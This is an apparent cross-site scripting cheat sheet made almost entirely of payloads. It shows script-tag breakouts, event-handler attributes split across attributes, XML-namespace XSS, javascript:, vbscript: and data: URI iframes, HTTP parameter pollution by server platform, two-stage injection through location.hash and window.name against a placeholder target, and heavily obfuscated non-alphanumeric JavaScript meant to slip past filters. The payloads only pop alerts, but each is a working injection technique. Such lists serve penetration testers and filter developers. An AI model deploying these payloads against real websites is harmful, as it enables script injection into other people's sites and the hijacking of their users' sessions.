<script>top['alert'](3)</script>

Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>

HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>

HTML is parsed before CSS
<style>
body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
</style>

XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
	<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>

URI Schemes
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)

HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET 	a = val1,val2
ASP 		a = val1,val2
JSP 		a = val1
PHP 		a = val2

Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)

http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)

Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>

Non-alphanumeric crazyness...
<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>

<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>